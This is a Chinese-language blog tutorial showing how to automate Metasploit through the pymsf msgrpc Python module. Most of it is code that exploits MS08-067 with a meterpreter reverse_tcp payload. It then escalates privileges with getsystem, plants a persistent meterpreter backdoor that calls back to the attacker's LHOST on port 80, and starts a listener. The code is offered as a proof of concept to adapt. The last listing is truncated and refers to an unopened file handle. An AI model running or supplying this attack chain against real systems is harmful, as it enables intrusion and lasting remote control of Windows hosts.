Spiderlabs的Python模块pymsf允许Python和Metasploit的msgrpc之间的交互。首先，您需要加载msfconsole并使用以下命令启动msgrpc服务：

加载msgrpc Pass = <密码>

与msgrpc交互类似于与msfconsole的交互。首先，创建msfrpc类的实例，登录msgrpc服务器，然后创建虚拟控制台。然后，您可以开始创建包含要在虚拟控制台上执行的命令的多个行字符串。您可以使用call方法使用'console.write'执行命令，并使用'console.read'读取输出。这篇文章将演示如何利用pymsf模块启动漏洞利用和一些后期开发任务。

这里定义了一个函数，它创建一个msfrpc实例，登录到msgrpc服务器，并创建一个虚拟控制台：

def sploiter(RHOST, LHOST, LPORT, session):    
client = msfrpc.Msfrpc({})    
client.login('msf', '123')    
ress = client.call('console.create')    
console_id = ress['id']

接下来，将创建一个包含要发送到虚拟控制台的命令的多行字符串。然后我们使用console.write将字符串传递给虚拟控制台，并使用console.read读取输出：

## Exploit MS08-067 ##commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession falseexploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('n')

此代码段创建MSF资源文件，允许您从“resource <PathToFile>”文件运行一系列命令。稍后我们将执行创建的资源文件，该资源文件将使用“getsystem”提升权限，然后创建一个meterpreter后门，将通过“run persistence ...”信号返回到端口80上的LHOST，上传针对被利用的漏洞的补丁，最后以非用户交互模式安装补丁：

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')
 
     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\
upload /tmp/ms08067_patch.exe c:\
upload /tmp/ms08067_install.bat c:\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()

这使用上面代码中构建的.rc文件，并使用msf模块“post / multi / gather / run_console_rc_file”在当前的meterpreter会话中运行它们。这些命令使用console.write写入控制台，并使用console.read从虚拟控制台读取：

## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres

变量（RHOST，LHOST，LPORT等）在命令行中使用optparse模块给出。完成的脚本可以在我们的github上找到，请记住脚本的某些部分是静态的，例如在/ tmp /目录中有ms08067补丁。这更像是为您自己的msf自动化需求而修改的概念代码的证明。我们建议您使用此博客文章作为自己在MSF中自动执行简单操作的动机：

import os, msfrpc, optparse, sys, subprocess
from time import sleep
 
# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')

     postcomms = """getsystem

execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()
